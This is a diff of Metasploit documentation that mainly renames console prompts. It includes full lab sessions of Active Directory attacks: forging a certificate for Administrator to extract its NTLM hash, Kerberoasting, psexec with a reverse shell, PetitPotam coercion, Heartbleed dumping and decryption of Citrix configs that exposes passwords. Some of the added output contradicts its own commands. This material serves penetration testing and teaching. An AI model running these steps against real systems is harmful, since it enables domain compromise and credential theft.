+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set RHOSTS 172.16.199.200
+RHOSTS => 172.16.199.130
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set smbdomain kerberos.issue
+smbdomain => msf.local
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set smbpass N0tpassword!
+smbpass => N0tpassword!
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set smbuser user1
+smbuser => user1
+msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+[*] Running module against 172.16.199.200
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.4 (Secure Email)
+[*] 172.16.199.200:445 -   * 1.3.6.1.4.1.311.10.3.4 (Encrypting File System)
+[*] 172.16.199.200:445 - Certificate UPN: Administrator@kerberos.issue
+[*] 172.16.199.200:445 - Certificate URI: tag:microsoft.com,2022-09-14:sid:S-1-5-21-2324486357-3075865580-3606784161-500, S-1-5-21-2324486357-3075865580-3606784161-500
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
+[*] Auxiliary module execution completed
+
+
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use admin/kerberos/get_ticket
+[*] Using action GET_TGT - view all 3 actions with the show actions command
+msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
+[*] Running module against 172.16.199.200
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_635830.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_787259.bin
+[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[*] Auxiliary module execution completed
+```
+
 # Authenticating With A Certificate
 Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
 further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
@@ -1100,7 +1658,7 @@ Certificates can be used to obtain the NTLM hash of an account with the PKINIT e
 action to `GET_HASH`.

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
+msf auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
 [*] Running module against 172.30.239.85

 [+] 172.30.239.85:88 - Received a valid TGT-Response
@@ -1110,7 +1668,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_f
 [*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin
 [+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) >
+msf auxiliary(admin/kerberos/get_ticket) >
 ```

 ### Getting A Kerberos Ticket
@@ -1118,21 +1676,21 @@ Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which
 services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action.

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
+msf auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com
 [+] 172.30.239.85:88 - Received a valid TGT-Response
 [*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) > klist
+msf auxiliary(admin/kerberos/get_ticket) > klist
 Kerberos Cache
 ==============
 host           principal                   sname                             issued                     status  path
 ----           ---------                   -----                             ------                     ------  ----
 172.30.239.85  Administrator@daforest.com  krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL  2023-01-24 20:23:54 -0500  valid   /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin

-msf6 auxiliary(admin/kerberos/get_ticket) >
+msf auxiliary(admin/kerberos/get_ticket) >
 ```

 Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will
@@ -1148,16 +1706,16 @@ use schannel authentication a few options must be set.
 * `SSL` -- must be set to `true` (`schannel` authentication is only compatible with TLS connections)

 ```msf
-msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
+msf auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel
+msf auxiliary(gather/ldap_query) > set LDAP::Auth schannel
 LDAP::Auth => schannel
-msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
+msf auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
 LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
-msf6 auxiliary(gather/ldap_query) > set SSL true
+msf auxiliary(gather/ldap_query) > set SSL true
 [!] Changing the SSL option's value may require changing RPORT!
 SSL => true
-msf6 auxiliary(gather/ldap_query) > enum_domain
+msf auxiliary(gather/ldap_query) > enum_domain
 [*] Running module against 172.30.239.85

 [*] Discovering base DN automatically
@@ -1178,5 +1736,5 @@ DC=msflab DC=local
 objectsid                  S-1-5-21-3402587289-1488798532-3618296993

 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_query) >
+msf auxiliary(gather/ldap_query) >
 ```
@@ -52,79 +52,4 @@ Microsoft provides a very useful [training module](https://learn.microsoft.com/e
 that covers the fundamentals of AD CS and as well as examples which cover the management of certificate enrollment, certificate revocation and certificate trusts.

 ## Setting up A Vulnerable AD CS Server
-The following steps assume that you have installed an AD CS on either a new or existing domain controller.
-### Installing AD CS
-1. Open the Server Manager
-2. Select Add roles and features
-3. Select "Active Directory Certificate Services" under the "Server Roles" section
-4. When prompted add all of the features and management tools
-5. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
-6. Completion the installation and reboot the server
-7. Reopen the Server Manager
-8. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
-9. Select "Certificate Authority" in the Role Services tab
-10. Select "Enterprise CA" in the "Setup Type" tab (the user must be a Domain Administrator for this option to be available)
-11. Keep all of the default settings, noting the value of the "Common name for this CA" on the "CA Name" tab (this value corresponds to the `CA` datastore option)
-12. Accept the rest of the default settings and complete the configuration
-
-### Setting up a ESC1 Vulnerable Certificate Template
-1. Open up the run prompt and type in `certsrv`.
-2. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
-3. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
-4. From here you can refer to the following [Active-Directory-Certificate-Services-abuse](https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md) documentation for screenshots.
-5. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
-6. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears. Then click the `Apply` button.
-7. Scroll to the `Extensions` tab and under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon`  is listed. Then click the `Apply` button.
-8. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
-9. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
-10. Click `Apply` and then `Ok`
-11. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
-12. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
-
-### Setting up a ESC2 Vulnerable Certificate Template
-1. Open up `certsrv`
-2. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
-3. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
-4. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
-5. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
-6. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
-7. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
-8. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
-9. Click the `Apply` button, and then `OK`. The certificate should now be created.
-10. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
-11. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
-
-### Setting up a ESC3 Template 1 Vulnerable Certificate Template
-1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
-2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
-3. Click `Apply`.
-4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
-5. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
-6. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
-7. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
-
-### Setting up a ESC3 Template 2 Vulnerable Certificate Template
-1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
-2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
-3. Click `Apply`.
-4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
-5. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
-6. Click `Apply` and then click `OK` to issue the certificate.
-7. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
-8. Scroll down and select the `ESC3-Template2` certificate, or whatever you named the ESC3 template number 2 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
-
-### Setting up a ESC8 Vulnerable Host
-1. Follow instructions for creating an AD CS enabled server
-2. Select Add Roles and Features
-3. Under "Select Server Roles" expand Active Directory Certificate Services and add `Certificate Enrollment Policy Web Service`, `Certificate Enrollment Web Service`, and `Certificate Authority Web Enrollment`.
-4. For each selection, accept the default for any pop-up.
-5. Accept the default features and install.
-6. When the installation is complete, click on the warning in the Dashboard for post-deployment configuration.
-7. Under Credentials, accept the default
-8. Under Role Services, select `Certificate Authority Web Enrollment`, `Certificate Enrollment Web Service`, and `Certificate Enrollment Policy Web Service`
-9. In CA for CES, accept the defaults
-10. In Authentication Types, accept the default integrated authentication
-11. In Service account for CES, select `Use built-in application pool identity`
-12. Accept default integrated authentication for CEP
-13. Select the domain certificate in Server Certificate (the one that starts with the domain name by default) if more than one appears.
-14. Accept the remaining defaults.
+The steps for setting up a vulnerable AD CS server are covered in the [[Installing AD CS|./ldap_esc_vulnerable_cert_finder.md]] section.
@@ -51,7 +51,7 @@ run rhost=192.168.123.13 user=<username> pass=<password> domain=<domain>
 If you followed the lab setup setup above, this should output the following result:

 ```msf
-msf6 auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local
+msf auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local

 [*] Running for 192.168.123.13...
 [+] ServicePrincipalName                    Name                MemberOf  PasswordLastSet             LastLogon  Delegation
@@ -109,16 +109,16 @@ First an SPN needs to be found. This can be done in a number of ways - including
 very own `auxiliary/gather/ldap_query` module:

 ```msf
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235
 RHOSTS => 172.16.199.235
-msf6 auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY
+msf auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY
 BIND_DN => DARWIN_CLAY
-msf6 auxiliary(gather/ldap_query) > set BIND_PW N0tpassword!
+msf auxiliary(gather/ldap_query) > set BIND_PW N0tpassword!
 BIND_PW => N0tpassword!
-msf6 auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST
+msf auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST
 action => ENUM_USER_SPNS_KERBEROAST
-msf6 auxiliary(gather/ldap_query) > run
+msf auxiliary(gather/ldap_query) > run
 [*] Running module against 172.16.199.235

 [+] Successfully bound to the LDAP server!
@@ -18,8 +18,8 @@ Metasploit currently offers Kerberos authentication for the following services -
 Open a WinRM session:

 ```msf
-msf6 > use auxiliary/scanner/winrm/winrm_login
-msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
+msf > use auxiliary/scanner/winrm/winrm_login
+msf auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local

 [+] 192.168.123.13:88 - Received a valid TGT-Response
 [*] 192.168.123.13:5985   - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
@@ -31,7 +31,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Ad
 [*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
+msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
 [*] Starting interaction with 1...

 Microsoft Windows [Version 10.0.14393]
@@ -43,8 +43,8 @@ C:\Users\Administrator>
 Query LDAP for accounts:

 ```msf
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
 [*] Running module against 192.168.123.13

 [+] 192.168.123.13:88 - Received a valid TGT-Response
@@ -79,8 +79,8 @@ CN=Administrator CN=Users DC=adf3 DC=local
 Running psexec against a host:

 ```msf
-msf6 > use exploit/windows/smb/psexec
-msf6 exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
+msf > use exploit/windows/smb/psexec
+msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local

 [*] Started reverse TCP handler on 192.168.123.1:4444
 [*] 192.168.123.13:445 - Connecting to the server...
@@ -102,8 +102,8 @@ meterpreter >
 Connect to a Microsoft SQL Server instance and run a query:

 ```msf
-msf6 > use auxiliary/admin/mssql/mssql_sql
-msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
+msf > use auxiliary/admin/mssql/mssql_sql
+msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
 [*] Reloading module...
 [*] Running module against 192.168.123.13

@@ -142,7 +142,7 @@ Optional options:
    * `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
    * `write-only` -- New tickets are requested and they are stored for reuse.
    * `read-write` -- Stored tickets from the cache will be used and new tickets will be stored for reuse.
-* `${Prefix}KrbOfferedEncryptionTypes' -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
+* `${Prefix}KrbOfferedEncryptionTypes` -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`

 ## Ticket management

@@ -150,7 +150,7 @@ When a write-enabled `KrbCacheMode` is used, tickets that are issued to Metasplo
 command can be used to view tickets. It is a top level command and can be run even if a module is in use.

 ```msf
-msf6 > klist
+msf > klist
 Kerberos Cache
 ==============
 host            principal               sname                              issued                     status       path
@@ -167,7 +167,7 @@ host            principal               sname                              issue
 More detailed information can be displayed by using the verbose (`-v` / `--verbose`) option.

 ```msf
-msf6 > klist -v
+msf > klist -v
 Kerberos Cache
 ==============
 Cache[0]:
@@ -236,7 +236,7 @@ CCACHE files can be viewed with the `loot --type mit.kerberos.ccache` command (t
 specified type).

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > loot --type mit.kerberos.ccache
+msf auxiliary(admin/dcerpc/icpr_cert) > loot --type mit.kerberos.ccache

 Loot
 ====
@@ -46,18 +46,18 @@ and should be ignored as targets.

 Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
 ```
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
 RHOSTS => 192.168.159.10
-msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
+msf auxiliary(gather/ldap_query) > set DOMAIN msflab.local
 DOMAIN => msflab.local
-msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
+msf auxiliary(gather/ldap_query) > set USERNAME aliddle
 USERNAME => aliddle
-msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
+msf auxiliary(gather/ldap_query) > set PASSWORD Password1!
 PASSWORD => Password1!
-msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION 
+msf auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION 
 ACTION => ENUM_UNCONSTRAINED_DELEGATION
-msf6 auxiliary(gather/ldap_query) > run
+msf auxiliary(gather/ldap_query) > run
 [*] Running module against 192.168.159.10

 [*] Discovering base DN automatically
@@ -83,16 +83,16 @@ CN=DC OU=Domain Controllers DC=msflab DC=local
 samaccountname  DC$

 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_query) > 
+msf auxiliary(gather/ldap_query) > 
 ```

 This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
 domain controllers to remove from the list of potential targets.

 ```
-msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS 
+msf auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS 
 ACTION => ENUM_DOMAIN_CONTROLLERS
-msf6 auxiliary(gather/ldap_query) > run
+msf auxiliary(gather/ldap_query) > run
 [*] Running module against 192.168.159.10

 [*] Discovering base DN automatically
@@ -110,7 +110,7 @@ CN=DC OU=Domain Controllers DC=msflab DC=local
 operatingsystemversion  10.0 (17763)

 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_query) >
+msf auxiliary(gather/ldap_query) >
 ```

 This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
@@ -124,21 +124,21 @@ remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `
 compromised domain account.

 ```
-msf6 > use auxiliary/scanner/dcerpc/petitpotam 
-msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
+msf > use auxiliary/scanner/dcerpc/petitpotam 
+msf auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
 LISTENER => ws01.msflab.local
-msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
+msf auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
 SMBUser => aliddle
-msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
+msf auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
 SMBPass => Password1!
-msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
+msf auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
 RHOSTS => 192.168.159.10
-msf6 auxiliary(scanner/dcerpc/petitpotam) > run
+msf auxiliary(scanner/dcerpc/petitpotam) > run

 [+] 192.168.159.10:445    - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
 [*] 192.168.159.10:445    - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/dcerpc/petitpotam) >
+msf auxiliary(scanner/dcerpc/petitpotam) >
 ```

 If the module does not indicate that the attack was successful, another tool like
@@ -150,12 +150,12 @@ from the compromised host. If the attack was successful there should be at least
 computer account.

 ```
-msf6 > use post/windows/manage/kerberos_tickets 
-msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
+msf > use post/windows/manage/kerberos_tickets 
+msf post(windows/manage/kerberos_tickets) > set SESSION -1
 SESSION => -1
-msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
+msf post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
 SERVICE => krbtgt/*
-msf6 post(windows/manage/kerberos_tickets) > run
+msf post(windows/manage/kerberos_tickets) > run

 [*] LSA Handle: 0x000001efe1c415a0
 [*] LogonSession LUID: 0x00004bc1d 
@@ -208,7 +208,7 @@ In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon
 ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.

 ```
-msf6 post(windows/manage/kerberos_tickets) > klist
+msf post(windows/manage/kerberos_tickets) > klist
 Kerberos Cache
 ==============
 id   host            principal               sname                             issued                     status  path
@@ -216,7 +216,7 @@ id   host            principal               sname                             i
 411  192.168.159.10  DC$@MSFLAB.LOCAL        krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL  2023-08-23 09:32:46 -0400  active  /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
 407  192.168.159.10  WS01$@MSFLAB.LOCAL      krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL  2023-08-23 15:14:46 -0400  active  /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin

-msf6 post(windows/manage/kerberos_tickets) > 
+msf post(windows/manage/kerberos_tickets) > 
 ```

 ### Using The Ticket
@@ -81,12 +81,12 @@ Examples

 Starting a module as a job:

-    msf5 exploit(multi/handler) > run -j
+    msf exploit(multi/handler) > run -j
    [*] Exploit running as background job 1.

 A verbose listing of all the jobs:

-    msf5 exploit(multi/handler) > jobs -v
+    msf exploit(multi/handler) > jobs -v
    
    Jobs
    ====
@@ -97,16 +97,16 @@ A verbose listing of all the jobs:

 Set some jobs to be started on `msfconsole` start:

-    msf5 exploit(multi/handler) > jobs -p 1-2
+    msf exploit(multi/handler) > jobs -p 1-2
    Added persistence to job 1.
    Added persistence to job 2.

 Getting information about a specific job:

-    msf5 exploit(multi/handler) > jobs -i 1
+    msf exploit(multi/handler) > jobs -i 1
    
    Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
-    msf5 exploit(multi/handler) > jobs -i 1 -v
+    msf exploit(multi/handler) > jobs -i 1 -v
    
    Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
    
@@ -30,8 +30,8 @@ Examples

 Run the heartbleed module every 10 seconds against a server for an hour:

-    msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
-    msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
+    msf > use auxiliary/scanner/ssl/openssl_heartbleed
+    msf auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
    # Set other options...
-    msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
+    msf auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10

@@ -107,10 +107,10 @@ fragments currently defined on the appliance as well as the current `ns.conf` fi

 Example run against config file without KEK from NetScaler VPX running NS11.0 Build 62.10.nc:
 ```
-msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
+msf > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
 ns_conf => /tmp/ns.conf.NS11.0-62.10.conf
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump

 [*] Config line:
 add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key -passcrypt "VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=" -expiryMonitor DISABLED
@@ -141,20 +141,20 @@ add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -disp
 [+] User: wiz@cesium137.io
 [+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > 
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > 
 ```

 Example run against config file using KEK from NetScaler VPX running NS13.0 Build 85.15.nc:

 ```
-msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf 
+msf > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf 
 ns_conf => /tmp/ns.conf
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
 ns_kek_f1 => /tmp/F1.key
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
 ns_kek_f2 => /tmp/F2.key
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump

 [*] Building NetScaler KEK from key fragments ...
 [+] NS KEK F1
@@ -208,5 +208,5 @@ add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c599
 [+] User: ldap
 [+] Pass: Gr33n3gg$
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > 
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > 
 ```
@@ -52,12 +52,12 @@ This value is only used when running the module with the `RESTORE` action.
